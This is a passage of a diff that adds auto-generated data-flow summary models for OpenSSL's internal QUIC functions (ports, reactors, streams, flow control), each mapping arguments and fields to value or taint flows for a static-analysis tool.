*,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[*cached_event_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[*cached_port_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[1]", "Argument[*0].Field[*ssl].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[2]", "Argument[*0].Field[*ssl].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_set_blocking_mode", "(QUIC_OBJ *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*req_blocking_mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "Argument[*0].Field[**tserver_ch].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "ReturnValue[*].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "Argument[*0].Field[**tserver_ch].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "ReturnValue[*].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_outgoing", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "ReturnValue[*].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_outgoing", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "ReturnValue[*].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_demux", "(QUIC_PORT *)", "", "Argument[*0].Field[**demux]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_demux", "(QUIC_PORT *)", "", "Argument[*0].Field[*demux]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_engine", "(QUIC_PORT *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_engine", "(QUIC_PORT *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_mutex", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_get0_mutex", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_get0_reactor", "(QUIC_PORT *)", "", "Argument[*0].Field[**engine].Field[*rtor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_channel_ctx", "(QUIC_PORT *)", "", "Argument[*0].Field[**channel_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_channel_ctx", "(QUIC_PORT *)", "", "Argument[*0].Field[*channel_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_rbio", "(QUIC_PORT *)", "", "Argument[*0].Field[**net_rbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_rbio", "(QUIC_PORT *)", "", "Argument[*0].Field[*net_rbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_wbio", "(QUIC_PORT *)", "", "Argument[*0].Field[**net_wbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_wbio", "(QUIC_PORT *)", "", "Argument[*0].Field[*net_wbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_num_incoming_channels", "(const QUIC_PORT *)", "", "Argument[*0].Field[*incoming_channel_list].Field[*num_elems]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_rx_short_dcid_len", "(const QUIC_PORT *)", "", "Argument[*0].Field[*rx_short_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_tx_init_dcid_len", "(const QUIC_PORT *)", "", "Argument[*0].Field[*tx_init_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_have_incoming", "(QUIC_PORT *)", "", "Argument[*0].Field[*incoming_channel_list].Field[*alpha]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_port_is_addressed_r", "(const QUIC_PORT *)", "", "Argument[*0].Field[*addressed_mode_r]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_is_addressed_w", "(const QUIC_PORT *)", "", "Argument[*0].Field[*addressed_mode_w]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_new", "(const QUIC_PORT_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_pop_incoming", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_pop_incoming", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_set_allow_incoming", "(QUIC_PORT *,int)", "", "Argument[1]", "Argument[*0].Field[*allow_incoming]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**demux].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_rbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[**demux].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_rbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_wbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_wbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_wbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_wbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_initial", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_ncid", "(QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1].Field[*retire_prior_to]", "Argument[*0].Field[*retire_prior_to]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*retry_odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*retry_odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_active", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[**rcids].Field[*htop]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_active", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[*num_retiring]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_retiring", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[*num_retiring]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_preferred_tx_dcid", "(QUIC_RCIDM *,QUIC_CONN_ID *)", "", "Argument[*0].Field[*preferred_rcid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_preferred_tx_dcid_changed", "(QUIC_RCIDM *,int)", "", "Argument[*0].Field[*preferred_rcid_changed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[*0]", "ReturnValue[*].Field[*initial_odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[0]", "ReturnValue[*].Field[*initial_odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_on_packet_sent", "(QUIC_RCIDM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*packets_sent]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_can_poll_r", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*can_poll_r]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_can_poll_w", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*can_poll_w]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get0_notifier", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*notifier]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_poll_r", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*poll_r]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_poll_w", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*poll_w]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_tick_deadline", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*tick_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[**2]", "Argument[*0].Field[***tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*0].Field[*notifier].Field[*wfd]", "Argument[*0].Field[*notifier].Field[*rfd]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*2]", "Argument[*0].Field[**tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[*3]", "Argument[*0].Field[**mutex]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*tick_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[2]", "Argument[*0].Field[*tick_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[3]", "Argument[*0].Field[*mutex]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*tick_deadline]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_net_read_desired", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*net_read_desired]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_net_write_desired", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*net_write_desired]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[*1]", "Argument[*0].Field[*poll_r]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*0].Field[*poll_r]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_r", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[*1]", "Argument[*0].Field[*poll_w]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*0].Field[*poll_w]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_set_poll_w", "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_read", "(SSL *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_available", "(QUIC_RSTREAM *,size_t *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_available", "(QUIC_RSTREAM *,size_t *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_get_record", "(QUIC_RSTREAM *,const unsigned char **,size_t *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[*1]", "ReturnValue[*].Field[**statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*rbuf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_new", "(QUIC_RXFC *,OSSL_STATM *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*rbuf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_peek", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_read", "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_release_record", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rstream_resize_rbuf", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rbuf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_resize_rbuf", "(QUIC_RSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rbuf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rstream_set_cleanse", "(QUIC_RSTREAM *,int)", "", "Argument[1]", "Argument[*0].Field[*fl].Field[*cleanse]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_credit", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_credit", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_cwm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_error", "(QUIC_RXFC *,int)", "", "Argument[*0].Field[*error_code]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_final_size", "(const QUIC_RXFC *,uint64_t *)", "", "Argument[*0].Field[*hwm]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_parent", "(QUIC_RXFC *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_parent", "(QUIC_RXFC *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_rwm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*rwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_get_swm", "(const QUIC_RXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_has_cwm_changed", "(QUIC_RXFC *,int)", "", "Argument[*0].Field[*has_cwm_changed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[**5]", "Argument[*0].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[*1]", "Argument[*0].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[*5]", "Argument[*0].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cur_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[4]", "Argument[*0].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init", "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)", "", "Argument[5]", "Argument[*0].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cur_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_init_standalone", "(QUIC_RXFC *,uint64_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_retire", "(QUIC_RXFC *,uint64_t,OSSL_TIME)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[**parent].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[*hwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_on_rx_stream_frame", "(QUIC_RXFC *,uint64_t,int)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rxfc_set_max_window_size", "(QUIC_RXFC *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_window_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_set_diag_title", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**qlog_title]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_set_diag_title", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**qlog_title]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[*3]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[3]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_add", "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_lookup", "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)", "", "Argument[*1]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_srtm_lookup", "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)", "", "Argument[1]", "Argument[*0].Field[**blind_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_adjust_iov", "(size_t,OSSL_QTX_IOVEC *,size_t)", "", "Argument[0]", "Argument[*1].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_append", "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_append", "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_avail", "(QUIC_SSTREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_size", "(QUIC_SSTREAM *)", "", "Argument[*0].Field[*ring_buf].Field[*alloc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_buffer_used", "(QUIC_SSTREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_sstream_get_cur_size", "(QUIC_SSTREAM *)", "", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_final_size", "(QUIC_SSTREAM *,uint64_t *)", "", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_get_stream_frame", "(QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ring_buf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_buffer_size", "(QUIC_SSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ring_buf].Field[*alloc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_buffer_size", "(QUIC_SSTREAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ring_buf].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_sstream_set_cleanse", "(QUIC_SSTREAM *,int)", "", "Argument[1]", "Argument[*0].Field[*cleanse]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[**first_stream]", "Argument[*0].Field[**stream]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*first_stream]", "Argument[*0].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_iter_init", "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)", "", "Argument[1]", "Argument[*0].Field[*qsm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_alloc", "(QUIC_STREAM_MAP *,uint64_t,int)", "", "Argument[1]", "ReturnValue[*].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_alloc", "(QUIC_STREAM_MAP *,uint64_t,int)", "", "Argument[2]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_accept_queue_len", "(QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*num_accept_bidi]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_accept_queue_len", "(QUIC_STREAM_MAP *,int)", "", "Argument[*0].Field[*num_accept_uni]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_total_accept_queue_len", 